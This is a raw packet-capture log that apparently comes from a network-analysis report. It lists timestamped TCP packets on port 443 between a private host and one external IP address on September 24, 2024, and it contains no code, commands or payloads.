Sep 24, 2024 06:30:01.175847054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.175885916 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.383411884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.436496973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:01.647414923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:01.647535086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:02.075412035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:02.075491905 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:02.939419031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:02.939634085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201524973 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201545954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201559067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201652050 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201659918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201668024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201710939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201730013 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201738119 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201750040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201776028 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201782942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201790094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201801062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201828957 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201837063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201864958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201925993 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.201934099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201956987 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201962948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.201978922 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.202023983 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202035904 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202135086 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.202143908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202157021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202184916 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202243090 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.202255964 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202260971 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202286005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.202384949 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.202466011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.202497005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.411410093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.411447048 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.809766054 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.809792995 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.809809923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.809937954 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.809946060 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.809961081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.809986115 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.809990883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810007095 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810060024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810154915 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810165882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810174942 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810199976 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810223103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810239077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810244083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810250998 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810290098 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810296059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810313940 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810409069 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810419083 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810435057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810487032 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810496092 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810506105 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810532093 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810566902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810575008 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810592890 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810647011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810655117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810662985 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810694933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810734034 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810744047 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810759068 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810811043 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810817957 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810826063 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810844898 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810884953 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810894966 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810909986 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810934067 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810961962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.810969114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.810986996 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811047077 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811057091 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811068058 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811090946 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811125994 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811131954 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811168909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811204910 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811213970 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811245918 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811291933 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811300993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811311960 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811327934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811357975 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811367035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811395884 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811399937 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811431885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811438084 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811445951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811466932 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811481953 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811487913 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811495066 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811511040 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811527967 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811536074 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811553001 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811556101 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811570883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811624050 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811635971 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811640024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811652899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811670065 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811700106 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811713934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811723948 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811743021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811758041 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811767101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811781883 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811789036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811798096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811806917 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811813116 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811853886 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811858892 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811876059 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811882019 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811887980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811917067 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811942101 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811944008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811954021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811970949 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.811986923 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.811995029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.812019110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.812024117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.812036991 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.812042952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.812052965 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:03.812068939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:03.812105894 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:04.023406029 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:04.077280045 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:04.291402102 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:04.291481972 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:04.735418081 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:04.735538960 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548372030 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548392057 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548405886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548496962 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548504114 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548516035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548557043 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548576117 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548593044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548602104 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548621893 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548623085 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548631907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548650980 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548671007 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548676968 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548691034 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548727989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548733950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548791885 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548804045 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548835039 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548842907 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548871994 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548914909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.548917055 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.548971891 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.549009085 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.549035072 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.549043894 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.549068928 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.549088955 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.549118042 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.549206018 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.549245119 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.759418011 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.759649038 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967190027 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967212915 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967231035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967242956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967389107 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967396975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967411041 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967428923 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967433929 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967468977 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967510939 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967593908 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967612982 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967637062 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967659950 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967695951 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967715025 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967715025 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967736006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967755079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967799902 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967811108 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967828035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967883110 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967894077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967907906 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967936993 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.967961073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.967979908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968003035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968034983 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968043089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968050003 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968069077 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968126059 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968141079 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968156099 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968177080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968194008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968204975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968233109 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968272924 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968281031 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968292952 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968314886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968341112 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968348026 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968368053 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968420029 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968429089 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968441963 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968472958 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968509912 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968519926 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968563080 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968568087 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968592882 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968636036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968667984 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968703032 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968704939 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968719959 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968732119 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968739033 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968755007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968769073 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968776941 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968800068 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968801975 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968822956 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968854904 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968861103 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968873024 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968888044 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968890905 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968923092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968929052 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968941927 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968955040 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968964100 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.968990088 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.968998909 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969022036 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969022989 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969043016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969073057 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969080925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969091892 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969096899 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969118118 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969151974 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969157934 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969170094 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969171047 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969187021 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969233036 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969242096 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969250917 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969260931 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969276905 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969309092 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969316006 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969332933 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969336033 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969352007 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969388008 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969393969 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969408035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969413042 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969429016 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969460011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969468117 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969491005 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969491005 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969508886 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969543934 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969551086 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969559908 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969563961 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969583035 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969613075 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969619989 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969631910 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969640017 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969647884 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969671011 CEST	49748	443	192.168.2.9	188.114.97.3
Sep 24, 2024 06:30:05.969677925 CEST	443	49748	188.114.97.3	192.168.2.9
Sep 24, 2024 06:30:05.969774961 CEST	49748	443	192.168.2.9	188.114.97.3
